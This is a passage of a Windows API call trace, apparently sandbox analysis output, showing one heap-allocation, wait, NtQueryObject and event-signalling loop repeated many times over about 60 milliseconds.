lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.715] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.715] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.715] ResetEvent (hEvent=0x110) returned 1 [0072.715] SetEvent (hEvent=0x114) returned 1 [0072.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.716] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.716] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.716] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.716] ResetEvent (hEvent=0x110) returned 1 [0072.716] SetEvent (hEvent=0x114) returned 1 [0072.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.716] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.716] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.716] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.716] ResetEvent (hEvent=0x110) returned 1 [0072.716] SetEvent (hEvent=0x114) returned 1 [0072.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.716] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.716] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.716] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.716] ResetEvent (hEvent=0x110) returned 1 [0072.716] SetEvent (hEvent=0x114) returned 1 [0072.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.717] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.717] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.717] ResetEvent (hEvent=0x110) returned 1 [0072.717] SetEvent (hEvent=0x114) returned 1 [0072.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.717] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.717] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.717] ResetEvent (hEvent=0x110) returned 1 [0072.717] SetEvent (hEvent=0x114) returned 1 [0072.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.717] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.717] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.718] ResetEvent (hEvent=0x110) returned 1 [0072.718] SetEvent (hEvent=0x114) returned 1 [0072.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.718] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.718] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.718] ResetEvent (hEvent=0x110) returned 1 [0072.718] SetEvent (hEvent=0x114) returned 1 [0072.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.718] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.718] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.718] ResetEvent (hEvent=0x110) returned 1 [0072.718] SetEvent (hEvent=0x114) returned 1 [0072.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.718] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.719] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.719] ResetEvent (hEvent=0x110) returned 1 [0072.719] SetEvent (hEvent=0x114) returned 1 [0072.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.719] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.719] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.719] ResetEvent (hEvent=0x110) returned 1 [0072.719] SetEvent (hEvent=0x114) returned 1 [0072.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.719] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.719] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.719] ResetEvent (hEvent=0x110) returned 1 [0072.719] SetEvent (hEvent=0x114) returned 1 [0072.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.720] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.720] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.720] ResetEvent (hEvent=0x110) returned 1 [0072.720] SetEvent (hEvent=0x114) returned 1 [0072.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.720] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.720] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.720] ResetEvent (hEvent=0x110) returned 1 [0072.720] SetEvent (hEvent=0x114) returned 1 [0072.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.720] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.720] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.720] ResetEvent (hEvent=0x110) returned 1 [0072.720] SetEvent (hEvent=0x114) returned 1 [0072.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.721] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.721] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.721] ResetEvent (hEvent=0x110) returned 1 [0072.721] SetEvent (hEvent=0x114) returned 1 [0072.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.721] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.721] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.721] ResetEvent (hEvent=0x110) returned 1 [0072.721] SetEvent (hEvent=0x114) returned 1 [0072.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.721] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.721] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.722] ResetEvent (hEvent=0x110) returned 1 [0072.722] SetEvent (hEvent=0x114) returned 1 [0072.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.722] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.722] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.722] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.722] ResetEvent (hEvent=0x110) returned 1 [0072.722] SetEvent (hEvent=0x114) returned 1 [0072.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.722] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.722] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.722] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.722] ResetEvent (hEvent=0x110) returned 1 [0072.722] SetEvent (hEvent=0x114) returned 1 [0072.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.722] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.723] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.723] ResetEvent (hEvent=0x110) returned 1 [0072.723] SetEvent (hEvent=0x114) returned 1 [0072.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.723] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.723] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.723] ResetEvent (hEvent=0x110) returned 1 [0072.723] SetEvent (hEvent=0x114) returned 1 [0072.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.723] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.723] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.723] ResetEvent (hEvent=0x110) returned 1 [0072.723] SetEvent (hEvent=0x114) returned 1 [0072.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.724] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.724] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.724] ResetEvent (hEvent=0x110) returned 1 [0072.724] SetEvent (hEvent=0x114) returned 1 [0072.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.724] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.724] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.724] ResetEvent (hEvent=0x110) returned 1 [0072.724] SetEvent (hEvent=0x114) returned 1 [0072.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.724] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.724] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.724] ResetEvent (hEvent=0x110) returned 1 [0072.724] SetEvent (hEvent=0x114) returned 1 [0072.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.725] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.725] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.725] ResetEvent (hEvent=0x110) returned 1 [0072.725] SetEvent (hEvent=0x114) returned 1 [0072.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.725] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.725] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.725] ResetEvent (hEvent=0x110) returned 1 [0072.725] SetEvent (hEvent=0x114) returned 1 [0072.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.726] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.726] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.726] ResetEvent (hEvent=0x110) returned 1 [0072.726] SetEvent (hEvent=0x114) returned 1 [0072.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.726] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.726] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.726] ResetEvent (hEvent=0x110) returned 1 [0072.726] SetEvent (hEvent=0x114) returned 1 [0072.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.726] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.726] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.726] ResetEvent (hEvent=0x110) returned 1 [0072.727] SetEvent (hEvent=0x114) returned 1 [0072.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.727] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.727] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.727] ResetEvent (hEvent=0x110) returned 1 [0072.727] SetEvent (hEvent=0x114) returned 1 [0072.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.727] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.727] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.727] ResetEvent (hEvent=0x110) returned 1 [0072.727] SetEvent (hEvent=0x114) returned 1 [0072.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.772] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.772] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.773] ResetEvent (hEvent=0x110) returned 1 [0072.773] SetEvent (hEvent=0x114) returned 1 [0072.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.773] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.773] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.773] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.773] ResetEvent (hEvent=0x110) returned 1 [0072.773] SetEvent (hEvent=0x114) returned 1 [0072.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.773] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.773] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.773] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.773] ResetEvent (hEvent=0x110) returned 1 [0072.773] SetEvent (hEvent=0x114) returned 1 [0072.773] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.773] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.774] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.774] ResetEvent (hEvent=0x110) returned 1 [0072.774] SetEvent (hEvent=0x114) returned 1 [0072.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.774] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.774] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.774] ResetEvent (hEvent=0x110) returned 1 [0072.774] SetEvent (hEvent=0x114) returned 1 [0072.774] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.774] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.774] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.774] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.774] ResetEvent (hEvent=0x110) returned 1 [0072.774] SetEvent (hEvent=0x114) returned 1 [0072.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.775] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.775] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.775] ResetEvent (hEvent=0x110) returned 1 [0072.775] SetEvent (hEvent=0x114) returned 1 [0072.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.775] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.775] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.775] ResetEvent (hEvent=0x110) returned 1 [0072.775] SetEvent (hEvent=0x114) returned 1 [0072.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.775] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.775] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.775] 